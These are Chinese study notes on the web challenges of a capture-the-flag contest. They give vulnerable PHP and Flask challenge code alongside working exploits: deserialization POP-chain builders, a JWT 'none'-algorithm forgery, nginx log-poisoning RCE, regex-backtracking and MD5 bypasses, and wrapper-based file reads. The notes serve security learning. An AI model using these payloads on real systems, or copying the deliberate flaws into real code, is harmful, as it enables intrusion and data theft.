Base2024
Aura 酱的礼物
ssrf
data伪协议
格式
data://text/plain,xxx
能读取出内容
data://text/plain;base64,xxxxxx
,xxxxxx
先base64解码 再读取出内容
@隔断
当要求url开头时,使用@
来分隔
file=http://baidu.com@127.0.0.1
源码
<?php
highlight_file(__FILE__);
// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{
die('这是 Aura 的礼物,你不是 Aura!');
}
// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
die('这不是 Aura 的博客!');
}
$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
die('请去博客里面写下感想哦~');
}
// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift);
data伪协议
隔断开头@
filter读取文件内容
你听不到我的声音
shell_exec函数
shell_exec 函数执行系统命令,但它将命令的输出作为字符串返回
绕过shell_exec函数
shell_exec函数会保护命令的执行导致没有回显,所以、需要将回显的内容导入一个txt文件中显示,使用tee命令
tee命令
格式
tee 选项 文件
选项:
- -a:追加内容到文件的末尾
保存命令 输出到文件
ls | tee file.txt
同时显示和保存命令输出
ls | tee -a file.txt
...
备份文件
cat file.txt | tee file_backup.txt #备份file文件
RCEisamazingwithspace
绕过空格
- $
- $IFS$1
- ${IFS}$1
ez_ser
反序列化
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;
}
}
class web {
public $kw;
public $dt;
public function __wakeup() {
echo "lalalla".$this->kw;
}
public function __destruct() {
echo "ALL Done!";
}
}
class pwn {
public $dusk;
public $over;
public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}
class Misc {
public $nothing;
public $flag;
public function getflag() {
eval("system('cat /flag');");
}
}
class Crypto {
public function __wakeup() {
echo "happy happy happy!";
}
public function getflag() {
echo "you are over!";
}
}
$ser = $_GET['ser'];
unserialize($ser);
?>
exp
<?php
highlight_file(__FILE__);
error_reporting(0);
class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;
}
}
class web {
public $kw;
public $dt;
public function __wakeup() {
echo "lalalla".$this->kw;
}
public function __destruct() {
echo "ALL Done!";
}
}
class pwn {
public $dusk;
public $over;
public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}
class Misc {
public $nothing;
public $flag;
public function getflag() {
eval("system('cat /flag');");
}
}
$web = new web();
$re = new re();
$web->kw=$re; #调用tostring
$pwn = new pwn();
$re->chu0=$pwn; #访问不存在的$nonononono
$misc = new misc();
$pwn->dusk="gods"; #赋值gods
$pwn->over=$misc; #调用over为misc对象
echo serialize($web);
Really EZ POP
反序列化 构造pop链
源码
<?php
highlight_file(__FILE__);
class Sink
{
private $cmd = 'echo 123;';
public function __toString()
{
eval($this->cmd);
}
}
class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}
class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;
public function __destruct()
{
echo $this->sea->see;
}
}
if ($_POST['nature']) {
$nature = unserialize($_POST['nature']);
}
exp
<?php
highlight_file(__FILE__);
class Sink
{
private $cmd = 'system("cat /flag");';
public function __toString()
{
eval($this->cmd);
}
}
class Shark
{
private $word = 'Hello, World!';
public function setWord($word)
{
$this->word = $word;
}
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}
class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;
public function __destruct()
{
echo $this->sea->see; #访问不存在的变量see 触发get
}
}
$sink = new Sink();
$shark = new Shark();
$sea = new Sea();
$nature = new Nature();
$nature->sea=$sea;
$sea->animal=$shark;
$shark->setWord($sink);
echo urlencode(serialize($nature));
pop链
destruct访问不存在的see触发get
get调用animal
构造了setWord去调用了私有属性word
最后去触发tostring
数学大师
一开始以为是计算pin码
看了wp才知道就是纯计算
官方wp
import requests
import re
req = requests.session()
url = "http://challenge.basectf.fun:24989/"
answer = 0
while True:
response = req.post(url , data={"answer": answer})
print(response.text)
if "BaseCTF" in response.text:
print(response.text)
break
regex = r" (\d*?)(.)(\d*)\?"
match = re.search(regex, response.text)
if match.group(2) == "+":
answer = int(match.group(1)) + int(match.group(3))
elif match.group(2) == "-":
answer = int(match.group(1)) - int(match.group(3))
elif match.group(2) == "×":
answer = int(match.group(1)) * int(match.group(3))
elif match.group(2) == "÷":
answer = int(match.group(1)) // int(match.group(3))
所以你说你懂 MD5?
源码
<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?
$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
die('加强难度就不会了?');
}
// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
die('难吗?不难!');
}
// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
die('嘻嘻, 不会了? 没看直播回放?');
}
// 你以为这就结束了
if (!isset($_SESSION['random'])) {
$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}
// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';
$name = $_POST['name'] ?? 'user';
// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
die('不是管理员也来凑热闹?');
}
$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
die('伪造? NO NO NO!');
}
// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');
使用工具fasstcoll 参考,burp抓包(hackbar将不可见字符过滤掉了)
哈希长度拓展攻击
if (!isset($_SESSION['random'])) {
$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
若未设置random
,则生成三个长度为16字节的随机二进制字符串,储存在$_SESSION['random']
中
$random =$_SESSION['random'];
echo md5($random);
赋值,输出该值的md5
$name = $_POST['name'] ?? 'user';
如果变量name
不存在,默认为user
// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
die('不是管理员也来凑热闹?');
}
检查变量$name
的值是否以字符串'admin'
结尾
如果不是,脚本将终止执行并输出 '不是管理员也来凑热闹?'
if (md5($random .$name) !== $md5) {
die('伪造? NO NO NO!');
}
计算变量$random
和$name
拼接后的字符串的MD5
假设$radom
的值为111111
,所以$random
拼接$name
的值为111111admin
,要使这段字符串的md5和题目给出的md5相等
滤个不停
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];
if ($incompetent !== 'HelloWorld') {
die('写出程序员的第一行问候吧!');
}
//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;
foreach ($required_chars as $char) {
if (strpos($Datch, $char) === false) {
$is_valid = false;
break;
}
}
if ($is_valid) {
$invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];
foreach ($invalid_patterns as $pattern) {
if (stripos($Datch, $pattern) !== false) {
die('此路不通换条路试试?');
}
}
include($Datch);
} else {
die('文件名不合规 请重试');
}
?>
数组绕过strpos函数
无法绕过
Nginx
回到第二个if,可以将Nginx中的日志改掉,Nginx中日志分两种,一种是error.log,一种是access.log
error.log可以配置成任意级别,默认级别是error,用来记录Nginx运行期间的处理流程相关的信息;access.log指的是访问日志,用来记录服务器的接入信息(包括记录用户的IP、请求处理时间、浏览器信息等)
抓包修改ua,进行rce
此时写入的php代码 会被解析成RCE
flag直接读取不就行了?
源码
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
echo new $J1ng($Hong);
本题主要是利用两个函数 一个目录遍历函数和一个操作文件函数
要求遍历目录
$dir = new $Keng($Wang);
创建一个能遍历目录的对象
foreach($dir as $f) {
echo($f . '<br>');
}
使用foreach循环遍历该对象的每个文件,并将问价名输出到页面上
new $J1ng($Hong);
把W的参数传递给J,执行J
DirectoryIterator遍历目录函数
示例
<?php
$dir = new DirectoryIterator('path/to/directory');
foreach ($dir as $file) {
if ($file->isFile()) {
echo $file->getFilename() . "<br>";
}
}
创建对象,传入要遍历的路径,然后 使用forear循环遍历目录中的每个文件
(如果当前项是一个文件 则输出文件名)
构造 W=/secret/,K=DirectoryIterator,使其遍历路径
post是伪协议读取
SplFileObject操作文件函数
示例
<?php
// 打开文件
$file = new SplFileObject('path/to/file.txt', 'r');
// 逐行读取文件内容
foreach ($file as $line) {
echo $line . "<br>";
}
// 关闭文件
$file = null;
$file = new SplFileObject('path/to/file.txt', 'r');
传入想要读取的文件的路径和模式
构造payload
圣钥之战1.0
源码
from flask import Flask,request
import json
app = Flask(__name__)
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False
class cls():
def __init__(self):
pass
instance = cls()
@app.route('/', methods=['GET', 'POST'])
def hello_world():
return open('/static/index.html', encoding="utf-8").read()
@app.route('/read', methods=['GET', 'POST'])
def Read():
file = open(__file__, encoding="utf-8").read()
return f"J1ngHong说:你想read flag吗?"
@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)
原型链污染
@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"
当传入为post时,检查请求是否为JSON格式。如果是JSON格式,它会将请求数据解析为JSON对象,并将其与instance
变量合并
__file__
加载模块的文件的路径名
在read路由 可以用 __file__
读取flag
访问/read 得到flag
玩原神玩的
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
ys_open($_GET['tip']);
} else {
die("错了!就你还想玩原神?❌❌❌");
}
function ys_open($tip) {
if ($tip != "我要玩原神") {
die("我不管,我要玩原神!");
}
dumpFlag();
}
function dumpFlag() {
if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
die("可恶的QQ人!");
}
$a = $_POST['m'][0];
$b = $_POST['m'][1];
if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
die("某站崩了?肯定是某忽悠干的!");
}
include 'flag.php';
$flag[] = array();
for ($ii = 0;$ii < sizeof($array);$ii++) {
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}
echo json_encode($flag);
}
if (sizeof($_POST['len']) == sizeof($array))
先获取 len
的长度 在检查其数组长度是否等于$array
的长度
$a = $_POST['m'][0];
$b = $_POST['m'][1];
post 将 m 的数组的第一个元素赋值给 a ,第二个赋值给 b
$flag[] = array();
for ($ii = 0;$ii < sizeof($array);$ii++) {
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}
初始化空数组flag
这是一个 for 循环,从 0 开始,直到它达到 $array
的长度减一
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
ord($array[$ii])
获取$array
中索引为$ii
的字符的 ASCII 值。^ $ii
对 ASCII 值和索引$ii
进行按位异或操作。md5(...)
计算异或操作结果的 MD5 散列值。- 生成的散列值被赋值给
$flag
数组中索引为$ii
的位置。
说实话没太看明白
No JWT
源码
from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string
app = Flask(__name__)
# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
# 登录接口
@app.route('/login', methods=['POST'])
def login():
data = request.json
username = data.get('username')
password = data.get('password')
# 其他用户都给予 user 权限
token = jwt.encode({
'sub': username,
'role': 'user', # 普通用户角色
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}, app.secret_key, algorithm='HS256')
return jsonify({'token': token}), 200
# flag 接口
@app.route('/flag', methods=['GET'])
def flag():
token = request.headers.get('Authorization')
if token:
try:
decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
# 检查用户角色是否为 admin
if decoded.get('role') == 'admin':
with open('/flag', 'r') as f:
flag_content = f.read()
return jsonify({'flag': flag_content}), 200
else:
return jsonify({'message': 'Access denied: admin only'}), 403
except FileNotFoundError:
return jsonify({'message': 'Flag file not found'}), 404
except jwt.ExpiredSignatureError:
return jsonify({'message': 'Token has expired'}), 401
except jwt.InvalidTokenError:
return jsonify({'message': 'Invalid token'}), 401
return jsonify({'message': 'Token is missing'}), 401
if __name__ == '__main__':
app.run(debug=True)
/login
生成 JWT token
/flag
路由:这是一个 GET 请求的接口,需要客户端在请求头中携带一个名为 'Authorization'
的字段,其值为 "Bearer "
。这个接口会检查传入的 token 是否有效,如果有效且用户角色为 'admin'
,则读取并返回服务器上的 flag 文件内容
JWT
JSON Web Token,它定义了一种紧凑的、自包含的方式,用于作为 JSON 对象在各方之间安全地传输信息。JWT通过将用户信息封装成token的方式进行身份验证。
JWT 这种结构化体可以分为HEADER(头部)、PAYLOAD(数据体)和 SIGNATURE(签名)三部分。经过签名之后的 JWT 的整体结构,是被句点符号分割的三段内容,结构为 header.payload.signature详情请见https://jwt.io/introduction
token使用的是可逆的base64编码
将算法修改为None
算法是指将 alg 字段设置为空,则签名部分将被置空,这样的话任何token都将是有效的
以此来伪造admin
import jwt
# payload
token_dict = {
"sub": "Goku",
"role": "admin",
"exp": 1725693437
}
headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict, # payload, 有效载体
"", # 进行加密签名的密钥
algorithm="none", # 指明签名算法方式, 默认也是HS256
headers=headers
# json web token 数据结构包含两部分, payload(有效载体), headers(标头)
)
print(jwt_token)
伪造admin,设置头字段 Authorization: Bearer+token
1z_php
源码
<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
for ($i=0;$i<strlen($emp);$i++){
if (ctype_alpha($emp[$i])){
die("你不是hacker?那请去外场等候!");
}
}
echo "只有真正的hacker才能拿到flag!"."<br>";
if (preg_match('/.+?HACKER/is',$try)){
die("你是hacker还敢自报家门呢?");
}
if (!stripos($try,'HACKER') === TRUE){
die("你连自己是hacker都不承认,还想要flag呢?");
}
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();
}
else
{
die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
参数中带 _
用[
替换_
get传参绕过: 当参数中出现 _
时 无法直接传参,需要将 [
中括号代替 _
传入
intval()函数:使用指定的进制 base 转换
intval($emp,0)
不可以是明文的 114514
得是以0开头的整形
ctype_alpha()函数:检查字符串中是否只含字母
构造payload
?e[m.p=0337522
正则回溯绕过
if (preg_match('/.+?HACKER/is',$try)){
die("你是hacker还敢自报家门呢?");
import requests
url="http://challenge.basectf.fun:45966/"
params={
'e[m.p':'0337522',
'a':'SplFileObject',
'b':'php://filter/convert.base64-encode/resource=flag.php',
'c':'__toString'
}
data={
'try':'1'*1000002+'HACKER'
}
r=requests.post(url=url,params=params,data=data)
print(r.text)